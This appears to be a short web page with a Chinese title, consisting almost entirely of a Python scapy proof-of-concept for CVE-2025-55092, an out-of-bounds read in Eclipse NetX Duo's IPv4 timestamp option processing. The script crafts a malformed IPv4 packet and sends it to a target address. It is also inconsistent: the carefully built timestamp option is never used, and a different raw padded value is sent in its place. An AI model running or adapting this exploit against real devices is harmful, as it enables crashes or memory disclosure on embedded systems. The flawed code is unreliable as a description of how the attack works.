CVE-2025-55092 Eclipse NetX Duo IPv4时间戳选项越界读取漏洞

# CVE-2025-55092 PoC - NetX Duo IPv4 Timestamp Option OOB Read # This PoC crafts a malicious IPv4 packet with a crafted timestamp option # to trigger out-of-bounds read in _nx_ipv4_option_process() from scapy.all import IP, Raw, send import struct def craft_malicious_ipv4_timestamp(target_ip): """ Craft an IPv4 packet with a malicious timestamp option that triggers OOB read in NetX Duo's _nx_ipv4_option_process() function. The timestamp option format: - Type: 0x44 (Timestamp) - Length: claimed large value (key to trigger OOB read) - Pointer: offset into timestamp data - Overflow/Flags: timestamp flags """ # IPv4 Timestamp Option header # Type=0x44, Length=0xFF (claiming 255 bytes of option data, but packet is shorter) # Pointer=0x05 (pointing beyond actual data) # Flags=0 (timestamp only) timestamp_option = struct.pack('!BBBB', 0x44, 0xFF, 0x05, 0x00) # Add minimal actual timestamp data (much less than claimed 255 bytes) timestamp_option += struct.pack('!I', 0x12345678) # Pad to minimum IP options alignment (multiple of 4 bytes) while len(timestamp_option) % 4 != 0: timestamp_option += b'\x00' # Build the malicious IPv4 packet packet = IP( dst=target_ip, options=[('Timestamp', b'\xff' * 200)] # Crafted timestamp option with excessive length ) / Raw(load=b'\x41' * 16) return packet def exploit(target_ip): """ Send the malicious packet to trigger the vulnerability. """ pkt = craft_malicious_ipv4_timestamp(target_ip) print(f"[*] Sending malicious IPv4 packet to {target_ip}") print(f"[*] Packet summary: {pkt.summary()}") send(pkt) print("[+] Packet sent successfully") if __name__ == "__main__": target = "192.168.1.100" # Replace with target device IP exploit(target)